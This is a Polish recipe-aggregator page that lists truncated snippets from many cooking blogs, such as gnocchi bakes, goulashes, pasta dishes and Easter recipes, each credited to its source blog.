Gnocchi to rodzaj włoskich klusek, które można jeść np. jako samodzielny dodatek do mięsa. Ja miałam na nie inny pomysł, zapiekłam je w śmietanowym sosie. Wyszło smacznie. 500g gotowego gnochhi (1 op.) 2 cebule 500g pieczarek 2 spore cukinie 4 ząbki czosnku 250ml śmietany 18% 200g tartego sera mozzarella sól, pieprz, papryka słodka olej 1. Gnocchi gotujemy zgodnie z przepisem

Szefowa kuchni
Gulasz z indyka z zapiekanymi ziemniaczkami 201

wywaru, łączymy ze śmietaną i wlewamy z powrotem do garnka. Do smaku dodajemy sól i pieprz. Gulasz będzie gotowy, kiedy indyk i pieczarki będą miękkie, a woda odparuje tworząc sos. SKŁADNIKI ZAPIEKANE ZIEMNIACZKI - 1 kg młodych ziemniaków - mix przypraw greckich do ziemniaków - kminek - szczypta rozmarynku - sól - 3 łyżki oleju Ziemniaki dokładnie myjemy pod bieżącą wodą, nie obieramy tylko kroimy

Związek na patelni
Zupa pomidorowa z soczewicą 164

wykorzystałam bulion po gotowaniu szynki wielkanocnej, który gorący zlałam do słoików, zakręciłam i zostawiłam do ostygnięcia. Wystudzone słoiki schowałam do lodówki i wykorzystywałam kiedy była potrzeba do zup i sosów. Taki bulion, jeśli tylko zakrętki dobrze się zassały można przechowywać nawet 3 tygodnie (te, które się nie zawekowały trzeba zużyć w pierwszej kolejności). Ważne tylko, aby do wywaru, którego chcemy

Moja Delicja
Chlebek pita 146

blaszkę). Pozostawiamy do wyrośnięcia na około 30 min. 5 Piekarnik nagrzewamy do 250 stopni i wkładamy nasze chlebki na około 8 min. Teraz pozostaje wypełnić środek wymarzonym farszem, polać sosem czosnkowym i zajadać ze smakiem. Życzę smacznego! Interesujesz się gotowaniem? Zapraszam no moją grupę na Facebooku , gdzie możesz podzielić się swoimi przepisami . Artykuł Chlebek pita pochodzi z serwisu uDolores.pl - Tylko

uDolores.pl - tylko sprawdzone przepisy
Zapiekanka makaronowa z łososiem i jarmużem 178

ogniu i poczekać aż sery się rozpuszczą. Na makaronie układać kawałki wędzonego łososia oraz połówki pomidorków koktajlowych. Można delikatnie wymieszać je z makaronem. Wszystko posypać pozostałą mozzarellą i zalać sosem serowym. Piec 15-20 minut w piekarniku rozgrzanym do 180 st.C. Artykuł Zapiekanka makaronowa z łososiem i jarmużem pochodzi z serwisu Pasja Smaku

Pasja Smaku
Makaron z wędzonym łososiem i szparagami 241

podsmażyć pokrojoną w kostkę cebulę, następnie dodać szparagi (bez główek), smażyć razem przez 3-4 minut. Wlać śmietankę, doprawić do smaku przyprawami i ziołami, zagotować i zmniejszyć ogień. Jak sos zgęstnieje dodać makaron i wymieszać. Na koniec dodać główki szparagów oraz kawałki wędzonego łososi. Podgrzewać jeszcze chwilę razem. Na koniec posypać pokrojonymi listkami świeżej bazylii. Podawać np. z kieliszkiem białego

Pasja Smaku
Makaron z rzodkiewkami i z pesto z liści rzodkiewki 179

tego ząbek czosnku i doprawiamy solą i pieprzem. Rozdrabniamy blenderem lub robotem kuchennym na drobno. Następnie, nie przestając rozdrabniać, dolewamy stopniowo olej słonecznikowy. Miksujemy do uzyskania kremowego, gęstego sosu. Odstawiamy do chwili użycia.   Rzodkiewki myjemy, oczyszczamy z ogonków, osuszamy, po czym kroimy w ćwiartki. Na patelni rozgrzewamy łyżkę oleju, wrzucamy na nie rzodkiewki, oprawiamy szczyptą soli oraz pieprzem

Smaczna Strona
Zielone kluski bez glutenu 183

Kluski to danie, które chętnie zjadają dorośli i dzieci. Są dość uniwersalne co do doboru do nich sosu lub dodatków. W mojej rodzinie jada się też chętnie szpinak, więc takich zielonych klusek nie mogło zabraknąć na stole 😊 Nie zawierają glutenu i składników pochodzenia zwierzęcego. Składniki (na 20 klusek): 200 g mrożonego szpinaku 140 g mąki ziemniaczanej 350 g gotowanych ziemniaków

Weekendy w domu i ogrodzie
Domowe chlebki naan 179

wieloma potrawami kuchni indyjskiej. I z tej właśnie okazji pojawił się i u mnie kiedy miałam przyjemność testować produkty firmy Patak's która w swojej ofercie posiada aromatyczne indyjskie sosy, pasty przyprawowe, chutnej oraz pikle kuszące przyprawami, kolorami i niezwykłymi aromatami Składniki na 8 niedużych chlebków: 300g mąki pszennej 1 opakowanie drożdży instant 7g 1/3 szklanki ciepłego mleka 3 łyżki

W garach u Gosi
Surówka z białej kapusty z sosem jogurtowo-majonezowym 238

Surówki z białej kapusty należą do moich ulubionych dodatków do obiadu. Łatwe do przygotowania, pasują do niemal wszystkiego. Tym razem prezentuję wersję z sosem jogurtowo-majonezowym. Kapustę drobno pokroić. Przesypać

Bullio
Enchilada z kurczakiem 230

Tortille wypełnione farszem z kurczaka, kukurydzy, papryki i czarnej fasoli. Całość zapieczona pod sosem pomidorowym i mozzarellą. Danie posypuję guacamole i świeżą kolendrą. Cebulę posiekać w kostkę i podsmażyć wraz

Bullio
Krokiety z jajkiem, szpinakiem i serem 202

Dzieci potrafią o wiele skuteczniej podnieść ciśnienie niż najmocniejsze espresso :P Krokiety w innym wydaniu aniżeli z mięsem. W pierwotnej wersji były to naleśniki z tym samym nadzieniem polane sosem pomidorowym, a w wersji krokietów jeszcze bardziej nabrały walorów smakowych. Polecam :) Składniki na 10 sztuk: Naleśniki: 2 jajka 400 ml mleka 300 ml wody 1,5 szklanki mąki szczypta soli

My simple kitchen
Karkówka z grilla 193

ruszcie, grilluj po około 5 minut z każdej strony.   Karkówkę podałem z  surówką z młodej kapusty , ziemniakami w mundurkach i sosem tzatziki.   Klasyki wciąż na topie   Ze wszystkich sposobów przygotowywania jedzenia, grilla lubię chyba najbardziej. Świeże powietrze, kontakt z naturą, rodzina i przyjaciele, no i oczywiście

kuron.com.pl
Flaczki z boczniaków 183

kawałek imbiru wielkości korka od wina łyżka suszonej słodkiej papryki łyżka majeranku 4 liście laurowe 6 ziaren ziela angielskiego 1/2 gałki muszkatołowej lub 1/2 łyżeczki zmielonej sól, pieprz ew. sos sojowy do smaku   Przygotowanie: Boczniaki oczyść delikatnie ręcznikiem papierowym lub zwilżoną ściereczką. Grzyby pokrój w grube paski, marchewkę, pietruszkę i selera w cienkie słupki. Cebulę

kuron.com.pl
Botwinka. Przepis krok po kroku 173

Burakiem liściowym .) Botwinki jednak używamy głównie do zup, barszczu, chłodnika czy botwinki własnie. Ale nie tylko, świetnie sprawdza się jako dodatek do sałatek, sosów czy tart. Generalnie kojarzyć ją można ze smakami przyjaznymi młodemu burakowi.   Przepis krok po kroku   Botwinka występuje w sumie przez całe lato

kuron.com.pl
Pulpety z czerwonymi buraczkami -przepis zaczerpnięty z mojego bloga 202

wszystko razem wymieszać i nabierać łyżką i tworzyć pulpety, jeżeli masa jest za rzadka dodać bułkę tartą , tworzymy pulpety i układamy na blaszce zapiekając w piekarniku . Potem wystarczy tylko sos czosnkowy i ziemniaczki i obiad gotowy

Moje Wyroby
Szaszłyki po hiszpańsku 206

Czas pieczenia w zamkniętym grillu na tacce aluminiowej ok. 30 do 40 minut w zależności od jego nagrzania. NA odkrytych grillach dłużej, najważniejsze aby mięso było miękkie. Podajemy z sosem czosnkowym lub  Bbq . Smacznego

Apetyczna babeczka
Jednogarnkowy kociołek a’la pizza 188

straganie pojawią się kuszące zapachem nasze rodzime   pomidory warto sięgnąć po te pudliszkowe ze słoiczka. Będą smakowitą zapowiedzią słonecznych dni. Koncentrat pomidorowy Pudliszki jest niezastąpionym składnikiem wielu sosów i zup. Ja go uwielbiam a Ty ? Składniki na 5-6 porcji: 1 podwójny filet z kurczaka 40 dag małych świeżych pieczarek ¾ szklanki drobnego makaronu-u mnie mini piórka 6 plasterków

Wanilia i Kardamon
POMIDOROWE FOCACCIE Z SALAMI I MOZZARELLĄ 193

tylko tych na słodko, ale tych na słono, czy wytrawnie również! Dziś przygotowałam dla Was przepis na fantastyczne, niesamowicie puszyste mini focaccie wypełnione po brzegi pysznościami. Mamy gęsty, kremowy sos pomidorowy, aromatyczne, tłuściutkie salami, ciągnącą mozzarellę, czerwoną cebulkę i soczyste pomidory. Do tego chrupiący sezam i odrobina mojej ulubionej tajskiej bazylii! Nic więcej nie potrzeba! Takie focaccie najlepiej smakują

Ostra na Słodko
Kotlety drobiowe w chrupiącej panierce 211

piersi kurczaka a la schabowe to jedne z ulubionych kotletów moich dzieci, choć myślę że wielu znajdzie się tu ich zwolenników. Moi domownicy bardzo lubią je jeść z dodatkiem sosu żurawinowego , który robię w sezonie ze świeżej żurawiny a poza nim z mrożonej. Ostatnio podałam je również w towarzystwie kaszy owsianej i świeżej papryki – naprawdę smaczny obiad. Takie kotlety drobiowe

Dorota Smakuje
Kotlety jaglane z czosnkiem niedźwiedzim 173

Zapraszam Was do wypróbowania zielonych, wiosennych kotletów z kaszy jaglanej z czosnkiem niedźwiedzim – zdrowych, smacznych, wegańskich, fit – pieczonych a nie smażonych. Wspaniale komponują się z sosami: tatarskim , pesto , ajwarem . PRZEPIS NA KOTLETY JAGLANE Z CZOSNKIEM NIEDŹWIEDZIM Składniki na kotlety jaglane z czosnkiem niedźwiedzim: 0,5 szkl (100g) kaszy jaglanej suchej duży pęczek czosnku niedźwiedziego 2 łyżki siemienia lnianego 1 cebula

Dorota Smakuje
Langosze 154

smażymy na nim placki (na średnim ogniu). Odkładamy na talerz wyłożony ręcznikiem papierowym. Każdego langosza smarujemy przeciśniętym przez praskę czosnkiem i posypujemy startym serem. Podajemy z ketchupem lub sosem czosnkowym albo polane gęstą kwaśną śmietaną. Uwagi: Langosze z tego przepisu robiłam już kilka razy. Czasem nie miałam z wyrobieniem ciasta najmniejszego problemu, czasem ciasto przez dłuuugi czas pozostawało klejące. Istotne

Smaki Na Talerzu
Jak przyrządzić rybę, aby była soczysta? 170

błyszczącą stroną folii, gdyż w ten sposób zatrzymamy ciepło w środku. Chude ryby, najlepiej przed pieczeniem marynować przez kilka godzin, a później piec w towarzystwie warzyw lub zapiekać w sosie. W ten sposób ich mięso będzie aksamitne i kusząco soczyste. Jeśli preferujemy rybę smażoną to pamiętajmy o tym, że olej wlewamy na dobrze rozgrzaną patelnię i dopiero układamy filety. Rybę

Kulinarne Przeboje
Gofry idealne w zdrowszej wersji 157

oraz użyłam rafinowanej oliwy z oliwek (*), o której właściwościach możecie przeczytaj poniżej. Do podania gofrów nie proponuję klasycznej bitej śmietany, chyba że domową z mleczka kokosowego - klik , żadnych słodzonych sosów, lecz opcjonalnie odrobinę pudru z ksylitolu i mnóstwo liofilizowanych owoców (**). Ostatnio na stronie www.mixit.pl nabyłam ich dość spory zapas, ponieważ moja córka Natalia uwielbia je podjadać, ja zresztą również. Każde

Di gotuje
Grissini i szynka dojrzewająca 150

dłużej szynka jest przechowywana po jej przygotowaniu, tym bardziej zyskuje na smaku, a użyta do przekąski na ciepło , jak w przepisie - staje się wspaniale chrupiąca, cudowna. Propozycja podania - z sosem chilli słodko kwaśnym. Grissini przepis: 150 ml ciepłej wody 20 g świeżych drożdży 1 łyżeczka cukru 240 g mąki pszennej 2 łyżki oliwy 1/2 łyżeczki soli Drożdże rozpuszczamy w ciepłej

MamaOskarka
Zinfandel rose – lekkie wino ze słonecznej Kalifornii 232

Zinfandele) uchodzi za trunek narodowy podawany często jako aperitif. Można je serwować do ciast, deserów, sałatek. Wino różowe dobrze odnajduje się również w duecie z daniami z makaronu, lekkimi sosami, pizzą, zapiekankami czy daniami na bazie drobiu. Dobrze sprawdzi się na przyjęciach, ponieważ ten orzeźwiający trunek przypada do gustu także osobom, które na co dzień piją niewiele wina i klasyczne

Drinkologia
Kulki serowe lableh marynowane w oliwie i przyprawach 194

zdecydowanie dłużej w lodówce, wystarczy taką kuleczkę wyjąć z zalewy i rozsmarować na pieczywie. A pozostała zalewa przyda się do smażenia innych potraw czy do jakiejś marynaty czy jako sos do sałatki. Składniki: dowolny serek jogurtowy odcedzany przynajmniej 3 dni lub dłużej ( naturalny lub z ziołami ) dowolne przyprawy (suszone pomidory, pieprz, suszone zioła itp.) oliwa z oliwek Sposób przygotowania

Kuchnia domowa Ani
Gulasz piwny 173

bulionem, dodajemy 3 ziarna jałowca, 3 ziela angielskiego, 3 goździki i 3 liście laurowe. Gotujemy przez około 2 godziny pod przykryciem, czasem mieszając, aż mięso będzie miękkie a sos się zredukuje. (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
Śledzik w pomidorach z nutą słodkości 190

cytryny, żurawinę, cukier i całość chwilę smażyć. Następnie doprawić do smaku solą, pieprzem i całość dokładnie wymieszać. Pozostawić do lekkiego wystudzenia. 4. Śledzie układać w dużej salaterce naprzemiennie z sosem pomidorowym, wierzch posypać posiekanymi orzechami lub dla leniwych można wszystko wymieszać i wstawić do lodówki najlepiej na całą noc.   #pudliszki Ten smak nie jest kwestią przypadku   – uzyskujemy

Szalona Kuchnia Eweliny
Wytrawne ziemniaczane racuchy 184

tematem były wytrawne ziemniaczane racuchy. Puszyste, mięciutkie – na śniadanie, obiad, kolację, czy przekąskę. Jeśli komuś nie pasuje wersja wytrawna może je podać w wersji słodkiej (z cukrem pudrem, marmoladą, sosem truskawkowym, itp.). Składniki na ok. 12 szt.: - 200 g ugotowanych ziemniaków - 25 g świeżych drożdźy - ok. 250 g mąki pszennej - 1 jajko - 1 łyżka wody - 2 łyżki oleju rzepakowego

mojewypiekiinietylko
Frytki ziemniaczane z piekarnika z wegańskim parmezanem. 169

parmezanie" i układać na blaszce wyłożonej papierem do pieczenia. Wstawić do piekarnika, piec w 200C około 30 min. W połowie pieczenia przewrócić na drugą stronę. Podawać z ulubionym sosem. Danie jak najbardziej jest daniem wegańskim.  Smacznego

Radość kipiąca uśmiechem.
Coś dobrego dla jednego: waniliowy kubeczek z kuchenki mikrofalowej... 189

mikrofali. Nie z braku potrzeby. I owszem nieraz by się przydała, bo resztkowy ryż odgrzewa się bardzo kiepsko na patelni. Albo jakiekolwiek risotto, czy nawet makaron już wymieszany z sosem. Miejsca nam brakowało na blacie kuchennym, żeby pomieścić dodatkowego, sporego grata... A teraz, nareszcie, może nie tyle nam zbywa na cennym towarze pt. dodatkowe miejsce, ale przynajmniej mamy go wystarczajaco

Lejdi of the house
Kurczak z Langwedocji 154

prawdziwego wiejskiego , własnego chowu kurczaka . Oczywiście mój był wiejski z naszego podwórka Po tym czasie potrawa powinna być już gotowa , a kurczak delikatny i wręcz rozpadający się w aromatycznym sosie Serwujemy na gorąco , odgrzewana tylko zyskuje na smaku Smacznego ! Artykuł Kurczak z Langwedocji pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Roladki z udźca indyka z boczkiem i suszonymi pomidorami. Risotto z suszonymi pomidorami. 155

osiągnie dla Ciebie odpowiednią miękkość. Całość dopraw solą i pieprzem. Na talerz wyłóż porcję risotta, udziec z indyka pokrojony na plasterki, dodaj śliwki i jabłka (z garnka żeliwnego), trochę sosu. Jeśli masz ochotę całość udekoruj świeżymi ziołami. Smacznego

SMYKWKUCHNI
Dobra pizza z sieciówki – czy to możliwe? 211

zjadłem na miejscu. Menu Domino’s Pizza W menu znajdziemy kilkanaście rodzai pizzy, kilka rodzajów ciasta. Domino’s Pizza to typowo amerykańska pizza więc nieodzownym dodatkiem będą sosy do pizzy. Warto skorzystać. Zamówiliśmy Pizze pepperoni na grubym cieście Pizze „Leśne smaku” na grubym cieście Na pizzę długo nie trzeba czekać 15-20 minut, wszystko zależy

Kulinarnyblog.pl - wiesz jak gotować!
Zapiekanka ryżowa z jabłkiem 142

prostu jak zwykle sypnęło się z paczki. Jabłka pod ręką akurat były. W zasadzie to można nazwać to takim fajnym ciastem, bo idealnie kroi się na zimno, do tego sos śmietanowo-waniliowy i odjazd :P A więc tak: Składniki: 200 g ryżu 2 duże jabłka 4 łyżki śmietany 18% 1 jajko 1 łyżka ksylitolu (można dodać więcej lub pominąć

R'n'G Kitchen
KUCHENNA APTEKA #32 - RZEŻUCHA 162

Warto ją hodować przez cały rok i stosować jako dodatek do różnych potraw - można ją dodawać nie tylko do kanapek, ale także do różnego rodzaju sałatek i surówek, zup, sosów, past, twarożków czy masła. Ma wyraźny, ostry, piekący smak i aromatyczny zapach, dlatego dzięki niej potrawy nabierają oryginalnego i wyrazistego smaku. Jednak jest jedno "ale" - nie można przesadzać

Kuchnia MagdaLeny
KUCHENNA APTEKA #32 - RZEŻUCHA 162

Warto ją hodować przez cały rok i stosować jako dodatek do różnych potraw - można ją dodawać nie tylko do kanapek, ale także do różnego rodzaju sałatek i surówek, zup, sosów, past, twarożków czy masła. Ma wyraźny, ostry, piekący smak i aromatyczny zapach, dlatego dzięki niej potrawy nabierają oryginalnego i wyrazistego smaku. Jednak jest jedno "ale" - nie można przesadzać

Kuchnia MagdaLeny
Ślimaczki z cheddarem i sezamem 168

Najprostsza przekąska podana na ciepło lub zimno z sosami, np. pomidorowym, słodko-kwaśnym, czosnkowym lub ajwarem smakuje obłędnie! Zawsze ma swoich zwolenników. Chrupiące ślimaczki z ciasta francuskiego z koncentratem pomidorowym i tartym cheddarem posypane sezamem. Ser świetnie komponuje się z delikatnym ciastem, ma ostrawy smak, lekko kwaskowy, idealny do takiego ciasta. U mnie taka przekąska sprawdza się niemalże na każdej

Zasmakuj Kuchni
Sałatka z pieczonej marchewki i awokado 184

całość delikatnie wymieszaj palcami. Na talerzu połóż garść mieszanki sałat, łyżkę twarożku lub śmietany, marchewkę z awokado i całość posyp ziarnami. Jeśli w naczyniu zostało jeszcze trochę pysznego sosu polej nim sałatę. Smacznego! table.macro { font-size: 0.9em; } table.macro + p, table.macro + img { margin-top: 35px; } table.macro th { text-align: left; } table.macro th, table.macro td { padding: 0.3em; } table.macro th.sub { padding

wiecejwarzyw.pl
Zapiekanka z pieczarkami i kiełbasą krakowską 236

stopni piekarnika i zostawiamy do czasu aż ser się rozpuści, a bagietki ładnie podpieką. Czas zależy od tego jak bardzo chrupkie zapiekanki lubicie. Podajemy z domowym sosem czosnkowym i ketchupem. Smacznego

Słodkie okruszki
Kurczak podwójnie pomidorowy 189

razem smażymy. 3. Całość podlewamy szklanką wody, dodajemy koncentrat pomidorowy, oraz słodką śmietankę i dusimy razem przez kilka minut. Jeśli jest potrzeba doprawiamy solą i pieprzem. Mięso z odparowanym sosem posypujemy obficie drobno krojonym szczypiorkiem i gotowe. Kurczak podwójnie pomidorowy idealnie pasuje do kaszy, kuskusu, ziemniaków czy ryżu. Smacznego

Apetyczna babeczka
Boeuf Strogonow 201

oliwy lub oleju rzepakowego 1 liść laurowy 2 ziarna ziela angielskiego sól i pieprz do smaku 1-2 łyżki mąki pszennej + kilka łyżek zimnej wody (opcjonalnie – do zagęszczenia sosu) opcjonalnie: gęsta kwaśna śmietana 18% do zabielenia gulaszu (adsbygoogle = window.adsbygoogle || []).push({}); Przepis na Boeuf Strogonow: Mięso umyć, osuszyć, pokroić w poprzek włókien w paseczki. Zobacz wpis: Jak kroić mięso wołowe

Kulinarne Przeboje
Wielkanocny pasztet z kurcząt z cząbrem, estragonem i tymiankiem 222

złoty wierzch, a jego boki odstają od formy. Pasztet wyciągamy dopiero po całkowitym wystygnięciu. Smacznego! Domowy pasztet jest świetnym uzupełnieniem wielkanocnego śniadania. Doskonale smakuje z chrzanem lub zimnymi sosami

Korniszonki
Pieczone marchewki z serem kozim 174

nieduże kawałki. Obtocz je w oleju z kuminem i włóż do piekarnika 35 minut. W międzyczasie wymieszaj sok z cytryny z miodem. Po 35 minutach obtocz marchewki w sosie z cytryną i wstaw do piekarnika na 10-15 minut. Upieczone marchewki wyłóż na półmisek, posyp serem kozim, sezamem i natka pietruszki. Smacznego! table.macro { font-size: 0.9em; } table.macro + p, table.macro

wiecejwarzyw.pl
Puszyste placuszki z karmelizowanym rabarbarem 114

placków, przygotowujemy rabarbar. Kroimy go w około 2-3 cm kawałki. Na patelni rozpuszczamy masło. Rabarbar krótko przesmażamy i dodajemy miód oraz puder truskawkowy. Cały czas mieszając, podsmażamy, aż sos stanie się gęsty. Podajemy z placuszkami. Smacznego :)   Artykuł Puszyste placuszki z karmelizowanym rabarbarem pochodzi z serwisu Mienta blog

Mienta blog
Carbonara ze szparagami 139

się zarumieni, przez kilka minut.  3. Żółtka mieszamy ze śmietanką, solą i pieprzem. 4. Makaron przekładamy na patelnię. Wyłączam gaz, wlewamy powoli śmietankę z żółtkami ciągle mieszając aż sos pokryje całe danie. Dodajemy ser. Zostawiamy przez około 1 minutę pod przykryciem. Przed podaniem dekorujemy serem i listkami bazylii

Szefowa kuchni
Wiosenna terrina ze śledziem 212

temperaturze pokojowej(żeby jak będziemy łączyć z żelatyną masa nie była za zimna). żelatynę rozpuszczamy w 130ml. gorącej wody dokładnie mieszając dodajemy do niej sos z cytryny i ocet,jak lekko ostygnie dodajemy do naszej masy śmietanowo-warzywnej,mieszamy dokładnie i przelewamy na blaszkę (moja blaszka to 23x40,ale może być również troszkę mniejsza to terrina będzie po prostu wyższa

Swojskie jedzonko
Jajka w szynce 230

podobnego przygotować dla siebie i domowników. Jest to danie z jajkiem, więc idealnie nadaje się także na śniadanie wielkanocne. Będzie to moja wersja jajek w szynce z porem i sosem chrzanowym. Składniki: - 3 jajka - 7 plasterków szynki (u mnie

Kuchnia co dnia
Ciasto kakaowe na bazie majonezu 223

piekarnika nagrzanego do temperatury 160°C. Pieczemy przez godzinę. Po upieczeniu odstawiamy ciasto do wystygnięcia. Ciasto kakaowe podajemy posypane cukrem pudrem. Dobrze komponuje się ze świeżymi owocami lub sosem z mrożonych truskawek, jagód czy wiśni. Smacznego

W kuchni Katie
Olej z czarnego sezamu właściwości i zastosowanie 141

dań kuchni indyjskiej (m.in. do curry, samosów, kachori, chlebów paratha) i innych kuchni azjatyckich. Orzechowy smak, świeży aromat i piękny złoty kolor powodują, że idealnie sprawdza się jako składnik sosów do sałatek i dressingów do grillowanych warzyw. Użyty do marynowania wołowiny, drobiu i owoców morza podkreśla ich smak. Olej z nasion czarnego sezamu jest jednym z niewielu olejów tłoczonych

Kulinaria - potrawy z różnych stron świata
Jak zabielić zupę by śmietana się nie zważyła 139

niej waży, to ten wpis jest dla was. Poniżej znajdziecie porady dotyczące hartowania śmietany. CO ZROBIĆ BY ŚMIETANA NIE ZWAŻYŁA SIĘ – HARTOWANIE ŚMIETANY śmietanę przeznaczoną do zabielenia zupy / sosu wlewamy do dużego kubka lub miseczki do śmietany dodajemy trochę (np pół łyżki wazowej) gorącej zupy z garnka i dokładnie mieszamy śmietanę zahartowaną wlewamy do gotującej się zupy cały czas

Dorota Smakuje
Wielkanoc i tradycyjne świąteczne śniadanie 162

tradycja nakazuje nam jeść jajka ugotowane na twardo. Aby ich skorupki nabrały ładnego koloru gotujemy je w łupinach cebuli, albo w wywarze z czerwonych buraków. Do jajek zawsze podajemy sos tatarski, przygotowany na bazie majonezu z dodatkiem marynowanych grzybków i jajek ugotowanych na twardo. Nie może też oczywiście zabraknąć świeżo startego chrzanu wymieszanego z gęstą śmietaną, szczyptą cukru, soli

Kulinarne przygody Gatity
Surówka azjatycka z wodorostami i nasionami konopi 163

Uwielbiam azjatyckie smaki – i chociaż zapach sosy rybnego nie należy do najprzyjemniejszych to nieodmiennie kojarzy mi się z Bangkokiem i przywołuje piękne wspomnienia. Do Azji podeszłam jednak nieco inaczej – dodając polską rzodkiewką i chrupiące ogórki i marchewkę. Specjalnie na odmianę od tradycji – Read More Artykuł Surówka azjatycka z wodorostami i nasionami konopi pochodzi z serwisu flymetothespoon - blog

Flymetothespoon
Właściwości zdrowotne i smakowe curry 198

czego używać curry? Curry przyprawa idealnie komponuje się ze wszystkimi orientalnymi potrawami. Świetnie sprawdza się w połączeniu nie tylko z potrawami z Indii, ale również tajskimi, japońskimi, czy greckimi. Sos oparty na mieszance curry idealnie komponuje się z drobiem oraz rybami. Oprócz tego przyprawę można wykorzystać do zup, sałatek, potraw z ryżem, czy urozmaicenia kuchni wegetariańskiej.  Curry nadaje naszym

Trochę smaku
Dwa przepisy na rosół- klasyczny z pulpecikami warzywnymi i staropolski z pieczonej kaczki 164

Korpus, skórę i ewentualnie pozostałe mięso po pieczonej kaczce umieścić w garnku i zalać wodą, około 5 cm ponad poziom mięsa. Zagotować, dodać warzywa, ziele oraz listki laurowe, wlać sos sojowy, zmniejszyć ogień do minimum i gotować przez około 1,5 godziny. Gotowy bulion można przecedzić. Podawać z ugotowanym makaronem Lubella Jajeczna 5 jaj Nitki Tradycyjny rosół z kurczaka

Kraina Miodem Płynąca
Pieczona kaczka z jabłkami 340

delikatnie tłuszcz i kładziemy kaczkę piersiami do góry. Mięso zalewamy szklanką wina i pieczemy w tej pozycji przez godzinę. Co 20 minut warto zajrzeć do kaczki i podlać ją sosem powstałym w brytfannie. W trakcie pieczenia kaczki obieramy ok. 4 jabłka. Przekrawamy je na pół i usuwamy z nich gniazda nasienne. Na 20 minut przed końcem pieczenia wstawiamy do piekarnika

Dieta bez mleka
Sałatka z roszponki z mozzarellą i pomidorami 161

paseczki. Do dużej miski włożyć roszponkę, krojone pomidory, kawałki mozzarelli oraz oliwki. W mniejszej miseczce wymieszać pokrojoną bazylię, szczyptę soli, szczyptę pieprzu, oliwę z oliwek oraz sok z cytryny. Sosem zalać warzywa w dużej misce. Delikatnie przemieszać palcami. Sałatkę podawać z pieczywem. Sałatka z roszponki z mozzarellą i pomidorami Smacznego! O czym warto pamiętać przygotowując roszponkę z pomidorami. Sałatka

mecooks
Środa: Picadillo, czyli chili con carne inaczej 174

jest od niej bogatsze w smaku. Podstawę stanowi mielone mięso (nazwa dania pochodzi od hiszpańskiego picar – mleć) – może to być wołowina albo indyk, pomidory (w zastępstwie sos pomidorowy), chorizo, oliwki i rodzynki. No i last but not least – przyprawy pięknie aromayzujące całość: cynamon i kumin. Danie jest bardzo łatwe do przyrządzenia i warto przygotować je w większej

Niedzielny kucharz
Drobiowa rolada z jajkami i serem 195

drobiową roladę (pieczeń) z posiekanymi jajkami i serem, zamiast tradycyjnej pieczeni rzymskiej? Moim zdaniem to miła odmiana. Lżejsza, delikatniejsza, ciekawsza. Baaardzo smaczna. Smakuje zarówno na ciepło (doskonała z sosem pieczarkowym jak i pomidorowym), jak i na zimno (do sałatki, czy na kanapkę,polana ketchupem). Może wypróbujecie na Wielkanoc? 750 g mielonego mięsa drobiowego (u mnie udka bez skóry i kości

Smaki Na Talerzu
Sernik brownie. 144

100ml śmietany kremówki tabliczka mlecznej czekolady ewentualnie posypki, dodatki Robimy! Spód brownie: Do garnuszka włożyć masło, dodać czekoladę i rozpuszczać powolutku mieszając, aż składniki się połączą i powstanie gładki sos czekoladowy. Odstawiamy do lekkiego przestudzenia. Jajka (całe) ubić z cukrem na puszysto. Powoli wlewać lekko przestudzoną czekoladę miksując do połączenia składników. Dodać przesianą mąkę z proszkiem i zmiksować na gładko

Latosiowydom
Biała kiełbasa pieczona w piwie 299

duże cebule 200ml miodowego piwa łyżka oleju kilka gałązek świeżego tymianku Na marynatę: łyżka musztardy kremowej łyżka musztardy francuskiej z ziarnami gorczycy łyżka miodu 2 łyżki oleju łyżka sosu sojowego pół łyżeczki suszonego tymianku płaska łyżeczka słodkiej papryki sól i pieprz do smaku   Nagrzewamy piekarnik na 200°. Przygotowujemy głębokie naczynie żaroodporne.   W międzyczasie kroimy cebulę na średniej grubości

Smaczna Strona
Tarta z ziemniakami i białą kiełbasą z sosem o smaku wielkanocnego żurku 234

Wymień danie kojarzące się z Wielkanocą 🙂 Żurek? A co powiesz na to, żeby ten klasyk podać w zupełnie szalonej formie? Zapiekanka z ziemniakami i białą kiełbasą zalana aromatycznym sosem o smaku żurku, posypana świeżym majerankiem jest po prostu obłędna Propozycja ma niestety spory minus – wcinać ją można tylko na tzn. cheat day ;p *Nie zapomnijcie śledzić mnie na Instagramie

Eat me! Fit me!
Jajka w majonezie 210

Jajka w majonezie to bardzo proste i pięknie prezentujące się danie. Moje jajka na twardo w wiosennym sosie majonezowym będą idealne nie tylko na Wielkanoc, ale i na wiele innych specjalnych okazji.  - super przystawka na wielkanocny stół - pomysłowe, proste i szybkie do zrobienia - jajka w majonezie gotowe w 10 minut

AniaGotuje.pl
Tamaryndowiec (owoc) 114

Zwane są indyjskimi daktylami. Podczas obierania bardzo je przypominają, choć smakują z lekka 'maziowato'. Owoce jadane są na surowo, używane w kuchni azjatyckiej i latynoamerykańskiej. Są głównym składnikiem popularnego sosu Worcestershire. Pulpa otrzymywana z owoców wykorzystywana jest do farbowania odzieży. Z nasion zaś wytwarza się proszek, który służy za krochmal. Oleju z nasion używa się jako impregnat do drewna. Właściwości

R'n'G Kitchen
ROLADA SZPINAKOWA Z SAŁATKĄ CHRZANOWĄ Z JAJKAMI 191

naturalny z majonezem i tartym chrzanem. Przyprawiamy do smaku solą oraz pieprzem. W dużej misce mieszamy pokrojoną szynkę z serem oraz jajkami. Dodajemy umytą i osuszoną rzeżuchę oraz przygotowany sos chrzanowy. Wszystko dokładnie mieszamy. Na wystudzone ciasto szpinakowe wykładamy przygotowaną sałatkę i rozprowadzamy ją równomiernie po całej powierzchni. Roladę zwijamy zaczynając od krótszego boku, pomagając sobie papierem do pieczenia

Kuchnia MagdaLeny
ROLADA SZPINAKOWA Z SAŁATKĄ CHRZANOWĄ Z JAJKAMI 191

naturalny z majonezem i tartym chrzanem. Przyprawiamy do smaku solą oraz pieprzem. W dużej misce mieszamy pokrojoną szynkę z serem oraz jajkami. Dodajemy umytą i osuszoną rzeżuchę oraz przygotowany sos chrzanowy. Wszystko dokładnie mieszamy. Na wystudzone ciasto szpinakowe wykładamy przygotowaną sałatkę i rozprowadzamy ją równomiernie po całej powierzchni. Roladę zwijamy zaczynając od krótszego boku, pomagając sobie papierem do pieczenia

Kuchnia MagdaLeny
Sałatka ziemniaczana z młodych ziemniaków i orzechami 174

